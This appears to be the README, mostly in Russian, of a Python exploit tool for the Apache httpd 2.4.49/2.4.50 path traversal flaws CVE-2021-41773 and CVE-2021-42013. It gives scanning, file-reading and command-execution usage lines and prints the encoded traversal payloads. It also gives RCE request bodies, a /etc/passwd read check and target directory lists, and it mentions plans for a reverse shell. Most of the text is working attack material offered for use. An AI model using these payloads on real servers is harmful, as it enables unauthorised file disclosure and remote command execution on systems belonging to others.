
проверка обхода пути в apache httpd (CVE-2021-41773 / CVE-2021-42013)
20211005, в интернете была раскрыта уязвимость обхода каталога в Apache httpd 2.4.49 (cve-2021-41773), которая может привести к произвольному чтению файлов (если обойдённый каталог разрешён для доступа, например, при конфигурации <Directory />Require all granted</Directory>, по умолчанию не разрешён) или выполнению команд (для RCE требуется включённый CGI, по умолчанию модуль CGI не включён).
20211008, также появился обход каталога в версии 2.4.50 (cve-2021-42013), который обходит исправление cve-2021-41773.
Подробности уязвимости: Воспроизведение и анализ уязвимости обхода каталога в Apache httpd 2.4.49/2.4.50
Запуск с помощью python3
Справка: python3 apache-httpd-path-traversal.py -h

Проверка одного URL: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


Пакетная проверка: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

Чтение файлов: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

Выполнение команд: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

Использует urllib.request для отправки HTTP-запросов
Признаком наличия уязвимости служит чтение /etc/passwd и проверка наличия в ответе строки "root:" (поскольку большинство систем — Linux, проверка Windows пока не учитывается).
Многопоточность, можно задать таймаут для повышения эффективности.
Можно указать существующий каталог (--cdir) и shell для RCE (--rceshell) для гибкости.
При проверке используется список возможных общих каталогов для повышения вероятности успеха.
commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
Примечание: иногда для чтения файлов используется каталог icons, а для RCE — cgi-bin; анализ зависит от конкретной ситуации.
Используются 7 форматов PoC и 2 формата POST-данных для RCE:
#cve-2021-41773 poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013 poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
//rce的post方法改为get方法好像也行。
//payload要根据目标的apache路径层数变化跳出,一般4层够了。
//要有一个apache存在的目录,比如icons/或cgi-bin/
Возможно, будет добавлено обнаружение систем Windows.
Возможно, будут добавлены дальнейшие методы эксплуатации, такие как reverse shell.
gmail:[email protected]